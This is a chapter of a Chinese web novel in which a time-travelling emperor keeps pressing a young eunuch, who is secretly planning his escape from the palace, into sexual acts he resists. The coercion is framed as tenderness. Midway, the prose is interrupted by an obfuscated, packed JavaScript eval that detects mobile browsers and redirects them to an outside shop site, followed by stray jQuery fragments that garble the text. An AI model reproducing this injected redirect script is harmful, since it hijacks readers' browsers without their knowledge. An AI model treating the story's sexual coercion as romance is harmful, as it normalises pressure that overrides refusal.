永德帝踏着月色,走入东暖阁时,他脸上的表情只剩下了自信。
他不觉得一条可以登高的坦途摆在跟前,还有人傻傻地选择崎岖的小路。
梁总管弯腰,亲自替永德帝挑起帘子。永德帝走入东暖阁,见到苏其昕,他的面上自然而然地露出笑意。
苏其昕也洗漱完了,正百无聊赖地坐在床上。
这段时间他过着的是昼夜颠倒的日子。白天永德帝都放他假了,晚上永德帝断没有让他休息的道理。
他曾经想过装睡,可这样只会被永德帝亲醒。
他也担心自己真的睡着了,永德帝会对他做变态的事情,所以渐渐地,苏其昕也就学乖了,他每天晚上都等永德帝过来。
永德帝走过来,摸了摸他的脸,亲昵地问:“还没睡?”
苏其昕又不高兴了,他一不高兴,脸上就带出几分来。
睡着又怎么样,还不是要被亲醒?
永德帝是他最烦的人,没有之一!
苏其昕憋着气说:“陛下不回来,我不敢睡。”
永德帝轻笑出声,苏其昕的怨气都快冲天了,还说不敢呢?
不过他也乐得纵容苏其昕,乐得苏其昕在他面前表露真实的性情。
他将苏其昕揽在怀里,说道:“那倒是,你晚上得等着伺候朕,要是你睡了,朕只能伺候你了。”
苏其昕听懂了永德帝话语里的意思,更是气得咬牙,谁要永德帝伺候?不对,那根本不是永德帝伺候他,根本就是永德帝想要占他便宜!
他才不想被永德帝又亲又啃呢。
不等苏其昕回答,永德帝便将苏其昕压在身。下。
永德帝本就有更近一步的打算,自觉他等的时间已经够长了,他一边亲昵地亲着苏其昕,一边说道:“朕昨日让你如愿一次,苏苏今日让我如愿一次可好?”
永德帝不想忍下去了,他已经忍了够久的了。
他觉得这个世界上,绝对没有皇帝像他一样能忍。
永德帝边亲着小太监的脸,边自然地去扯小太监的腰带,苏其昕见此,脸都白了,他像是昨天一样,伸手抵着永德帝的胸膛位置,死死的推拒着,他都没注意永德帝对他换了一个称呼,只想要永德帝不要脱他衣服。
苏其昕颤抖着唇说道:“不好,不要这样,我不想,不想脱衣服!”
永德帝动作停顿下来,他怪异地重复了一句:“不想这样?”
永德帝轻笑了一声:“让朕来猜猜,苏苏说不想,是不想被朕看,还是因为,你想被别人看,比如御茶房的小宫女?”
苏其昕的脸更白了,他本就不是多机变的人,当即脑子里一团乱麻。永德帝怎么会知道他去见过紫菀?
永德帝派人跟着他?
苏其昕只觉得一阵后怕,如果是这样,他真的能成功离开皇宫吗?
但永德帝已经不给他多余时间发呆了。
永德帝从他身上爬起来,脸上还带着几分未散的余韵,他捏着苏其昕的下巴,目光在苏其昕脸上逡巡:
“你不说话,那朕让那个小宫女过来告诉朕答案,你说好不好?”
永德帝说完,就要下床了。
苏其昕不知道永德帝为什么发疯,但他知道他不能继续沉默下去了。
他心里不愿意,但现在当务之急是稳住永德帝。
苏其昕拽住永德帝,急切地说道:“陛下,我们两个人的事情,你干嘛扯不相干的人进来?”
永德帝的神色一缓,“你说的是,这个时候,我们不要提不相干的人了。”
说完,永德帝将脑袋压在苏其昕的脖颈上,头发丝的触感让苏其昕身体不经意瑟缩。
接着,永德帝便亲着他的脖颈肉,苏其昕不敢挣扎,任由永德帝一点一点加深亲吻,然后被永德帝拖拽到了床踏上。
看吧,不管永德帝多生气,最后的结果,都是这样!
跟个发情的公狗一样!
最可悲的是,这个公狗是经过了现代信息大爆炸的公狗,本来古代人的花样也不少,和现代信息相结合后,永德帝取其精华去其糟粕,推陈出新,苏其昕是真的招架不住了。但就算最迷蒙的时候,苏其昕也紧紧拽着快要散了的腰带。
永德帝不想用强,最后只能用手。他轻轻咬了一下苏其昕的耳垂,目光在苏其昕修长的大腿上滚过。
“这次用手,下次只这样,可打发不了朕。”
“朕容你很多次,可怜你很多次,你也该可怜可怜我。”永德帝声音低哑,抱着苏其昕净手,洗完手之后,才又亲了亲苏其昕,抱着他睡觉。
苏其昕闭上眼睛,心里怕死了,他想要逃跑的紧迫感更浓。永德帝就像是一头狼,每天都会比前一天逼迫他,他可以确定,下一次,就算他用力拽,他大声哭,估计永德帝也不会放过他了。
还容他?永德帝说的好听,还不是每次拽他上塌,用手段强的硬的得偿所愿?
哪一次永德帝没舒服?偏偏现在说起来,好像是永德帝退让了很多似的?
就因为他是皇帝吗?他就可以高高在上?苏其昕嘲讽地想,对啊,皇帝就是可以高高在上!
次日。
苏其昕起床后,心不在焉地用了早膳,之后便忐忑地晃悠着出了东暖阁。
他现在宫里无意义地晃悠,然后走了一大圈之后,才去了御茶房。
御茶房里他也和每一个宫女太监搭话,期待这样能让永德帝不要牵连到紫菀身上。
这次,他不是直接去找紫菀,而是主动去拜见兰芳姑姑,然后在兰芳姑姑这里见到紫菀。
兰芳姑姑不知道苏其昕为什么要绕着一大圈,但对苏其昕,兰芳姑姑是真的有感情的,当成了后辈一样看待,便也没多问,而是选择配合苏其昕。
兰芳姑姑吩咐:“去将紫菀叫来。”
苏其昕眼圈微红:“多谢姑姑。”
兰芳姑姑道:“谢什么呢!我真心当你是后辈,小苏子你同姑姑就不要见外了。”
兰芳姑姑最开始培养苏其昕,是看在梁明高的面子上,想要她在御前能有个靠山。
可后来她是真的和苏其昕处出了感情。毕竟苏其昕乖巧听话,就算身后有梁总管,也从不用鼻孔看人,人长得也俊俏,每次见到她都尊敬地叫她‘姑姑’,也没有其他太监宫女的功利和势利,逢人便笑,人也勤快,每次都额外将茶具清洗的干净,顺带将她的房间也清理了。
没人不喜欢这样好相处的人。
苏其昕眼圈更红了,他见过的人,都随着永德帝对他的看中,叫他‘小苏公公’,只有兰芳姑姑,一直叫他‘小苏子’,从没有变过。
等他出宫,估计这辈子都见不到兰芳姑姑了。
兰芳姑姑教他茶艺的时候,是他在皇宫里最悠闲快乐的时光。
虽然那些时间很短暂,但就是因为短暂,他回想起来,才更显得珍贵。
苏其昕没骨气地擦了擦眼睛,说道:“等我走后,如果有人问姑姑,你叫紫菀做什么,姑姑就说是在教我和紫菀泡新茶。”
兰芳姑姑不解,这时,紫菀到了,到了房间后,便福身对兰芳姑姑行了一礼。
兰芳姑姑点头,说道:“其实,是小苏子叫你来,有话要对你说。”
紫菀也猜到了,要不然她也不会特意将缝好的衣裳带来。她将衣裳递给了苏其昕,苏其昕本是想要紫菀随便做一件衣服,主要是在布料里侧多缝补几个布袋,他用来装东西。
他没想到紫菀的手竟然这样巧,这么短的时间内,竟然将衣服做得如此出色。
从上面的针脚看,便知道紫菀是真的用了心的。
且有些地方,还綉了竹纹,这件衣服不只是当内衬,便是用来穿在外面当外衣穿,也不失体面。
苏其昕抱着衣服的手紧了紧,道:“多谢你,你费心了。”
“我不知道该怎么感谢你,这些俗物你拿着,可以买一些胭脂水粉。”苏其昕拿出一些他砸过的碎金,上面没有任何宫廷标志,他递给紫菀,想了想又交代道:“不要让人发现了。”
紫菀开心极了,她今天得到了好消息,皇上施恩,她这个年岁的小宫女,过段时间就可以出宫了。她不用和心上人分开这么久不说,如今还有了这些金子,在宫外她也不用愁未来的生活了。
苏其昕不知道这些,他特意在兰芳姑姑这里换了衣服,将太监服装穿在外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668142|187515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
接着苏其昕又去了几个地方用来混淆视线,又和小袁子玩了一会儿,这才回到了住处。
返回之后,苏其昕将里面的衣服脱下来,然后将没放下的珠子手串往缝制的布袋里装。
总算是将大半部分身家都装好了。
他可真是天才!苏其昕脸上露出笑意,但笑意很快被紧张取代。
只要熬过今天,对,只是一天而已,总不会一天他都熬不过去吧?
晚上的时候,永德帝明显感觉到了不同,具体他说不上来,但感觉小苏子似乎更乖了。
这明显是最后一晚,苏其昕也生怕这一晚出现纰漏,并不愿意冒险得罪永德帝。
他愿意自己受些委屈,只要能看见光明的未来,这些委屈也不是不能忍受。
不过是讨好别人而已,由着别人亲亲抱抱而已,这个世界上,有多少人徘徊在生死边缘,他还能看见未来,不知道有多少人根本没有未来!
永德帝第一时间察觉到苏其昕的变化,他眼中闪过一丝攻击性,乖些好,怕些也好,他也忍得够久了。
此刻,他倒是觉得天时地利人和。
他目光落在两人凌乱的衣衫上,低低一笑,轻轻地亲吻时,手也不规矩起来。
永德帝的意图,苏其昕立刻感觉到了,他扯着自己的裤子,就算别的都忍了,但这个绝对不能脱!
这是最后一夜,他不能功亏一篑!苏其昕隐约感觉到永德帝的纠结和犹豫的,永德帝心里嫌弃太监,也无法接受太监,若不然,以永德帝的强势,他也不会拖延到现在。
也许永德帝自己内心深处,也有着那么一丝不确定,所以他才能由着他,找着理由给他时间,也是给永德帝自己适应的时间。
永德帝皱起眉头,脸色沉了下来。他隐约有些烦躁,昨天他自认已经同小苏子说好了,今天晚上他们就来真的,怎么小苏子这样子,看起来他昨天的话白说了?
永德帝久在帝位,身上气势惊人,此刻哪怕稍微泄露一丝,也给人风雨欲来的惊恐感。
永德帝咬着牙,他做梦都想要脱自己的裤子,可他没想到自己的裤子他倒是能脱下来了,可他喜欢的小太监,却说什么都不肯。
如果他是真的古人,他可能就真的硬来了,毕竟古代皇帝不可能真的瞧得上一个太监。
可永德帝是穿越的,他眼中并没有身份高贵低贱,他平等地将这个世界的所有人不当人,唯一的例外就是小苏子,他自然不想要逼迫他。
永德帝脸色难看,但见小太监苍白的脸色,他眼中闪过一抹暗沉,道:“不脱是肯定不行的,朕最后让一次,你自己脱,朕不看,许你用锦被盖着,这总成了吧?”
他也不确定自己真的能接受太监那个地方,小太监脸上的表情也勉强得很,罢了,再多给他一些时间,但他要些甜头,总不过分吧?
苏其昕心里觉得耻辱,永德帝对他这样那样,他还可以用永德帝强迫他的,来安慰自己,可现在永德帝竟然让他自己来?
可他只要再忍一天,明天他就可以逃离皇宫了。
这个节骨眼上,苏其昕绝对不能出现纰漏。
他抿着唇,小声说道:“陛下转过去,别看。”
声音都在发抖,好可怜啊,永德帝有些心疼他,但是他知道自己,他还是要做的,甚至还会欺负他,欺负得更狠一些。
“嗯,朕不看。”
……
许久,感觉到小太监身体不那么抖了,永德帝将小太监抱在怀里,看着小太监身上他留下的红痕,怜惜地说道:“抱歉,朕弄疼你了,朕下次轻一些。”
下次?苏其昕闭上眼睛,想要忘记永德帝和他刚刚那一幕,永德帝亲着他,边叫着他‘苏苏’边说着‘喜欢’?呵,还想着下次?做他的春秋大梦吧!
他明天就要走了!苏其昕身上还有些不适应,但想到明天,他又开心起来。
永德帝抱着小太监,小太监温软的身体贴在他身上,又让他感觉到了一种别样的熨帖。
是从他来到这个时代后,从没有感受到的,属于另一个人的温度和呼吸。他觉得温馨,一种淡淡的平静和宁静的祥和温柔地笼罩着他。